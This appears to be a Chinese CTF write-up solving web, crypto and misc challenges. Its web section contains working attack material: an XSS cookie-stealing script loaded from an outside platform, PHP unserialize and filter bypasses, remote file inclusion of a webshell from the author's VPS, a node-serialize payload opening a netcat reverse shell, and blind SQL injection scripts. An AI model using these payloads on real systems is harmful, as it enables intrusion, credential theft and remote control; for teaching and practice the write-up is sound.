Web
Appl3’s Fish
拿到题目是个游戏界面,想到校平台上的一道贪吃蛇题目,先抓包后改包,把分数改成5001发送无果,说token错误,但是并不存在post表单,所以猜想是js的题目。
然后查看源代码,在<script type="text/javascript" src="js/data.js"></script>
发现问题,关键代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20$.ajax({
type: "GET",
contentType: "application/json",
url: "flag.php",
data: {time:new Date().getTime()},
dataType: 'json',
success: function(r) {
var timetoken=r.message;
$.ajax({
type: "GET",
contentType: "application/json",
url: "flag.php",
data: {token:token(timetoken+sc),score:sc},
dataType: 'json',
success: function(result) {
message=result.message
}
});
}
});
将其修改为1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22var sc=50000
$.ajax({
type: "GET",
contentType: "application/json",
url: "flag.php",
data: {time:new Date().getTime()},
dataType: 'json',
success: function(r) {
var timetoken=r.message;
$.ajax({
type: "GET",
contentType: "application/json",
url: "flag.php",
data: {token:token(timetoken+sc),score:sc},
dataType: 'json',
success: function(result) {
message=result.message
document.write(message)
}
});
}
});
写入控制台,即可获取flag
暴打出题人
题目说需要XSS平台,故弄了一个XSS平台,百度XSS平台使用教程,按照步骤,生成了一个:<script src=http://xsspt.com/GwwRZ7?1494770089></script>
把这个丢入留言板,即可得到cookie:cyrsession=HeyYouAreStealingMyPreciousCookie
然后抓包,把这个放入cookie,发包,即可得到flag
just trick
可以参考XCTF的一道题解:(应该是改编的)http://blog.csdn.net/niexinming/article/details/52623790
打开题目先看源代码,提示有文件index.txt
然后访问看源代码
定位到关键代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19$id=$_GET['id'];
if($id==0)
{
if(isset($_COOKIE['token']))
{
$key=$_GET['key'];
$token =$_COOKIE['token'];
if(isset($key)&&(file_get_contents($key,'r')==="I want flag!!!"))
{
echo "hello Hacker!<br>";
include("include.php");
echo cumtctf_unserialize($token);
}
else
{
echo "You are not Hacker ! ";
}
}
}
首先确定需要我们传的参数为id和key,其中id=0
(值得注意的是id='0'
这是第一个关键点)
然后是key,关注到代码if(isset($key)&&(file_get_contents($key,'r')==="I want flag!!!"))
这里可以使用php的封装协议php://input,因为php://input可以得到原始的post数据:
推荐使用hackbar,post数据:I want flag!!!
即可绕过前2个限制
第三个限制是token
抓包后修改http头,增加cookie: token=
那么第三个问题来了,token等于什么呢?
这里从index.txt泄露考虑到include.txt应该也泄露,果不其然,审计其代码:
可知想要获取flag.php的代码,可以依靠反序列化来读取
于是构造出反序列化:O:4:"Read":1:{s:4:"file";s:8:"flag.php";}
那么结束了吗?显然token不能只等于这个:
第三个关键点:if("flag.php"===$this->file||stripos($this->file,"://")>-1)
可见flag.php被过滤,因此想到绕过方式:./
故此得到O:4:"Read":1:{s:4:"file";s:10:"./flag.php";}
问题依旧没有结束,来到第四个关键点:preg_match('/[oc]:\d+:/i', $value,$matches);
绕过这个正则,但是这个正则写的很死:O:4:
所以也方便百度,直接搜索绕过方式
可以得知:O:4:"Read":1:{s:4:"file";s:10:"./flag.php";}
与O:+4:"Read":1:{s:4:"file";s:10:"./flag.php";}
等价
故此绕过所有限制,token=O:+4:"Read":1:{s:4:"file";s:10:"./flag.php";}
但是别忘了需要url编码,否则分号会被截断,故此token=O%3a%2b4%3a%22Read%22%3a1%3a%7bs%3a4%3a%22file%22%3bs%3a10%3a%22.%2fflag.php%22%3b%7d
抓包改包即可得到flag
file_inc
提示有源码泄露,先审计源码:1
2
3
4
5
6
7
8
9
10
11
12
13if (isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING'] != '') {
if (stripos($_SERVER['QUERY_STRING'], "GLOBALS") === false &&
stripos($_SERVER['QUERY_STRING'], "_GET") === false &&
stripos($_SERVER['QUERY_STRING'], "_SERVER") === false &&
stripos($_SERVER['QUERY_STRING'], "_POST") === false &&
stripos($_SERVER['QUERY_STRING'], "_COOKIE") === false &&
stripos($_SERVER['QUERY_STRING'], "_REQUEST") === false &&
stripos($_SERVER['QUERY_STRING'], "_ENV") === false &&
stripos($_SERVER['QUERY_STRING'], "_FILES") === false &&
stripos($_SERVER['QUERY_STRING'], "_SESSION") === false) {
parse_str($_SERVER['QUERY_STRING']);
}
}
首先是一大串过滤,发现过滤的都是php全局数组
这里百度了一下QUERY_STRING
函数和parse_str
函数(具体用法自行百度)
发现后者存在url解码,故可以用url编码绕过过滤,并且后者具有变量覆盖的功效。至此可以掌控全局变量。
继续审计源码1
2
3
4
5
6
7
8define("Z_ENTRANCE", true);
define('Z_ABSPATH', $_SERVER['DOCUMENT_ROOT']);
require(Z_ABSPATH . "/conn.php");
require(Z_ABSPATH . "/functions.php");
if (isset($action) && $action == 'main') {
require(Z_ABSPATH . "/main.php");
发现第二个关键点define('Z_ABSPATH', $_SERVER['DOCUMENT_ROOT']);
这里存在了一个根目录,而前面我们说到了全局变量覆盖的问题,所以这里毋庸置疑,我们应该覆盖的就是这个根目录,将其改为我们的vps地址,故可以远程包含我们的脚本
(注:别忘了你的vps下也要放conn.php和functions.php否则程序运行到这里就失败了……)
将自己的小马写进main.php
小马如下:1
2
echo "<?php echo `ls` ?>";
然后发payload:/index.php?%5fSERVER[DOCUMENT_ROOT]=http://123.206.222.169&action=main
即可得到全有文件,可以看见flag文件
再将小马的ls改为cat即可获得flag
TextWall
一道来自NJCTF的题目
参考链接:http://www.tuicool.com/articles/eaIvUr
写的非常详细,然后这个题基本也没改动,照着就能迅速做出来,我就不多说了
注意一下改变的地方(原题是url编码一次,这里是url编码两次)
Appl3’s Node
题目存在源码泄露,审计源码
在config.js文件中可以发现登录密码:1
config.secret_password = "Y3VtdGN0ZjIwMTc="
解码base64即可得到cumtctf2017
但是登录进去管理员界面并没有什么用,告诉你使用nc……
故去百度node.js的cve,得知node.js有反序列化执行漏洞,可以反弹shell
关键源码:1
2
3
4
5router.get('/admin', function(req, res, next) {
var passwd= config.secret_password;
var obj = serialize.unserialize(new Buffer(req.cookies.session, 'base64').toString());
res.render('admin', { title: 'Admin area', admin: obj.admin, pass: passwd });
});
可知就是cookie的session的值经过base64即可,故构造出payload:1
2
3{"rce":"_$$ND_FUNC$$_function (){\n
require('child_process').exec('nc 你的vps vps的端口 -e /bin/bash', function(error,\nstdout, stderr) {
console.log(stdout) });\n}()"}
将此代码base64后赋值于cookie中的session即可。
故可以成功反弹shell,即可获得Flag
简单的盲注
一开始以为在登录里注入,发现无果,得到hint:关注图片
查看源代码后
发现Url:http://sqlid1.bxsteam.xyz/pic.php?id=4
故此找到注入点,再根据hint,得到这次不是单引号而是双引号
故写脚本进行盲注,脚本如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#!/usr/bin/env python
#encoding: utf-8
#Author:sky
#coding:utf-8
import requests
url = 'http://sqlid1.bxsteam.xyz/pic.php?id=4'
flag = ''
for x in range(1,33):
for y in range(33,127):
url1 = 'http://sqlid1.bxsteam.xyz/pic.php?id=4" and ord(mid(password,'+str(x)+',1))='+str(y)+' and "a"="a'
f = requests.post(url=url1)
if "picture not found" not in f.content:
flag+=chr(y)
print flag
print x
print flag
即可得到一串20位的md5,起初我不相信,后百度得知解法位:
减去前面3位和最后1位,得到一个16位的MD5,即可解密,得到密码登录即可(用户名admin,别告诉我你猜不出来,猜不出来自己注吧)
登录进去后还有一个上传题(真的坑)
上传一个可执行的php文件,是php后缀问题,尝试了php2~php7,phtml,pht都无果
最后谷歌到疯,发现了一个phps,成功了,然而问题还并没有结束,phps脚本内容还有绕过
各种百度php标识后,终于得到绕过脚本:1
2
3<script language="php">
echo'这是脚本风格的标记';
</script>
上传这个文件后即可得到flag(记得用Burp,不然flag太快会溜走哦,提示你flag已经给你了)
怎么还是盲注
这题很直接,和上题基本相似
注入点直接给你了,url:http://sqlid2.bxsteam.xyz/pic.php?id=1
但是这个注入只有3种状态:sql炸了,flag是密码哦,检测到攻击
最后一种状态肯定不用说,是没用的,遇到了就说明你被过滤了不能用了
故此只能用flag是密码哦和sql炸了,那么问题来了:
web500要的两种状态,一种是sql语法正确(但是语言正确,逻辑恒为真),另一种状态是sql语法错误
所以这就是关键点,要让sql在正确的情况下出错:
想到整数溢出和if语句,于是构造出
if(ord(mid(password,1,1))=1,exp(999999999999),1)
当第一个条件正确时,会进行第二个的运算,即e的999999999999次方,显然溢出,sql会报错,提示sql炸了,而第一个条件不成立时,只会取第三个的值1,显然没有问题,此时提示flag是密码哦,故此可以依此写出注入脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15#!/usr/bin/env python
#encoding: utf-8
#Author:sky
#coding:utf-8
import requests
flag = ''
for x in range(1,33):
for y in range(33,127):
url1 = 'http://sqlid2.bxsteam.xyz/pic.php?id=1" /*!and*/ if(ord(mid(password,'+str(x)+',1))='+str(y)+',exp(999999999999),1) /*!and*/ "a"="a'
f = requests.post(url=url1)
if "sql语句炸了" in f.content:
flag+=chr(y)
print flag
print flag
运行即可得到flag
Crypto
Base
上来看见54553479567A493152455250556C524956314655516B394E576C593257564E4254303554566A5A4F56454A48566C4E594D6A303950513D3D
第一反应就是base16,解一波:TU4yVzI1RERPUlRIV1FUQk9NWlY2WVNBT05TVjZOVEJHVlNYMj09PQ==
然后肯定是base64了,再解一波:MN2W25DDORTHWQTBOMZV6YSAONSV6NTBGVSX2===
毋庸置疑的base32,再解一波,即可得到Flag
我都不好意思说这是加密
上来看见OFQXC5DTM5PWG6LSMJPWQ2LINB5W63LLMZPWG43XPU======
先解Base32,得到qaqtsg_cyrb_hihh{omkf_csw}
目测栅栏加密+凯撒加密的老套路
依次解密即可得到flag
超超超简单的RSA
这题做的还算顺利,上来看见是2048位的n就知道不可能强行分解,所以思考一下,想到了RSA里的双n有公因数,故尝试一波,果然成功,后写出脚本即可解密:
python脚本如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51#coding=utf-8
def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def fastExpMod(b, e, m):
result = 1
while e != 0:
if (e&1) == 1:
result = (result * b) % m
e >>= 1
b = (b*b) % m
return result
def str2num(s):
return int(s, 16)
ae = str2num("10001")
be = str2num("f422f")
an = str2num("e9095811d315e404af54ee0b9d218c34fd693484d26e976787cb011e178c3d55886bc19ad9bcc8a257439dcf30fa6ba4e9f2fba51c63400859e584668d1db433a3183a522c3f840ce9f037d5730004665c33ac75a7b90e9c6e594d8158276f4bd8e9011a59157ed03214db09cb95a7754de2a5c0df0887fb853e83bc69c4000fe7eab639c682588c5ac6bb868202e430afc43189829b7d9351b4202734a0c49b6398bf7787b2a39fc76cceaf3542d244c25dfdc6157c5360abd5bc2f2ae691ddcc57cc5d26c6c5c159b4e6c9d83b6bd78212a748fd0048d1e8e78541b64e6375940b5a5d25c533efa05a60b67cc486900e69c3b3911ebf2b9b43082c57820fbb")
bn = str2num("e9c9a84b5af86c81e2ecc37c8c390dce92ee8089b9ed593f58298e49774d8424421321e1e3495992fa49dbd7a43fe3ba61098a77c305ebaf8391b111b77530f42d7fb8bcfae3e380f352ab0aad14763154674bd636a98104d0229f1073c077968e837608069be9cf704c4d01879eee9afc84c539b8e2ca7ace15b0046f502a01a6cac53c653697c7a0dbf0e24c64cb66d71af067cd8512a505a0873c2dd56de54ed742d04e8b2b0a4fd9c0c367c71ebd2456fbaf98000f79c4cd442206f265cbc20a17e2fe45325a42d0b46c985e21ab101f44af5da25d79f573cdef618600d0f3060d62f982164a0e992dc739f8f1f51d65283f80d77d1420cb4b8a3f6cae33")
ac = str2num("7f897958f33b5d2a79bead20fbdccc380b69e11a88207327cb182e875e33c6a24c098485e3d63282fe0327ee38a9cf74ddf4a50afd19bc1270faa18de2a3ef5ab350fe7a699c3cbb2439536cd2916bd5a40074abbc0f38f09dfd17be51e92ac7ff4b7057f27c565e7bd32f084cbbcff7eb2475516f0d74c6663156cef24128a4c7a40e0d42c3d730bf555a8496afbbd36c341de51c36b549fe22bfe47bf79f78a4daa1dd21c074a7ba190d7833de78fd17a50c7ae45ec3c41be5ee94edd56bf8c1d420abcef0a2654542dd19b763f1d2810cd2320fd1796dfda5c8994a5f9c42c2f086e15a44af65ecee1a8c89f0d2b73c9b8c56fe81f0d7be0863f574f664c9")
bc = str2num("d069e2e7914cdb78658e3b8bf14c5c6f38bf08509ea7e756ed6379e64ddd2df61ca7e419801cf211177cdd4f0b829f4fa71747301931a80c05632b91245ce93e10439d465dc1dba3ccc550460795c4fc110f8466ccbdb877ae108c3b95a0c485cf01fcd47a6c32ec26cfca1a3efd4744d92ffb9ba202570926a53c2005e92911927bce60ceaee1744282f658169b674a9bd62f20df961dc05d8463c8abff45dcc1410e0878428a841af85b3b6a6b144e88d2a45e04e9b376c67e8d8bea73cd68e111614c7f903a7c904fe66114da0bed9f95f697a46143e41e052ef0278f4505dcbd0e7252cb724f7c8e76030af8e0fe8cc2601970be43e34e39544f9fa679ae")
p = gcd(an,bn)
aq = an/p
bq = bn/p
ad=modinv(ae,(p-1)*(aq-1))
bd=modinv(be,(p-1)*(bq-1))
am = fastExpMod(ac,ad,an)
bm = fastExpMod(bc,bd,bn)
print hex(am)
print hex(bm)
可以得到:1
20x63756d746374667b4743445f69735f55736566756c5f696e5f5273617dL
0x63756d746374667b4743445f69735f55736566756c5f696e5f5273617dL
16进制转字符串即可得到flag
本应该很难的DSA
这题是道原题,writeup写的非常详细了:
参考链接:http://www.iromise.com/2017/01/01/%E6%B9%96%E6%B9%98%E6%9D%AF%E5%A4%8D%E8%B5%9B-DSA/
在此我就不多赘述了……
GF128
此题为20170ctf的一道原题,修改脚本即可得到flag:
脚本如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65#!/usr/bin/env python
# coding=utf-8
from os import urandom
def process(m, k):
tmp = m ^ k
res = 0
for i in bin(tmp)[2:]:
res = res << 1
if (int(i)):
res = res ^ tmp
if (res >> 128):
res = res ^ P
ress=0
for i in bin(res)[2:]:
ress = ress << 1
if (int(i)):
ress = ress ^ res
if (ress >> 128):
ress = ress ^ P
return ress
def keygen(seed):
key = str2num(urandom(16))
while True:
yield key
key = process(key, seed)
def str2num(s):
return int(s.encode('hex'), 16)
P = 0x100000000000000000000000000000087
fake_secret1 = "gf_128_is_soeasy"
fake_secret2 = "letsdo_something"
secret = str2num(urandom(16))
generator = keygen(secret)
ctxt2 = hex(str2num(fake_secret1) ^ generator.next())[2:-1]
ctxt3 = hex(str2num(fake_secret2) ^ generator.next())[2:-1]
c1 = 0x897f5e0910266b2cf6c5966411cf44fc
c2 = 0x2a2060d12f20d1753356b6f925654915
c3 = 0x74019469ce476d3b168cdca5dd5502a2
k2 = c2 ^ str2num(fake_secret1)
k3 = c3 ^ str2num(fake_secret2)
kt = k3
for i in xrange(127):
kt = process(kt, 0)
seed = kt ^ k2
print "SEED", seed
assert process(k2, seed) == k3
kt = k2
for j in xrange(127):
kt = process(kt, 0)
k1 = kt ^ seed
print "K1", seed
assert process(k1, seed) == k2
m = k1 ^ c1
print `hex(m)[2:-1].decode("hex")`
运行即可得到Flag,但好像题目有些问题,并不能提交成功(= =经过老王学长确认,答案是没错的)
至于这题的原理,可以自己好好深入研究一下……
Misc
签到题
首先向科科发送”flag”,如果不理你,就持续发,然后根据
科科的话来回答,”手持两把锟斤拷”下联就是”口中疾呼烫烫烫”,
然后就问你bxs的中文名就是不显山啦,如果不行就重复发,就
可以拿到flag了
school song
这个把音频文件用hex打开,拖到文件尾,可以看到摩斯密码,
注意,要复制全,翻译过来就是”STEGHIDE PASS IS FL$G”,
然后安装steghide就可以了
Digital Image Processing 1
我这里出的是CMYK啊。。不是RGB也不是RGBA。。。泥萌好好看看flag
—-Appl3
打开看到的是4个一组的数字,猜测试RGBA模式,然后写一个
脚本把这些点转换为图片就行了,把这些点复制下来,保存为
1.txt,总共有62500行,分解,猜测为250*250,把代码如下
ps:在Windows下PIL库安装失败,直接放kali里面跑….
1 | from PIL import Image |
Hacker
第一步的流量分析是so逆向,是php扩展后门
——Appl3
前面的是逆向的队友做的,得到压缩包密码,是流量分析,用
wireshark打开,分析, 追踪流,发现一段base64编码,是攻
击用的脚本,翻译发现是乱码……,接着看,根据流量包内
容,看到了flag.tar.gz,发现有一些固定格式的数据,导出它
们,发现有两个16进制内容的文件猜测其中一个为flag.tar.gz,
然后打开hex,复制内容,把首尾的”->| |<-“ 删掉保存为gz
格式,解压出来的文件用hex打开,观察内容,里面就有flag了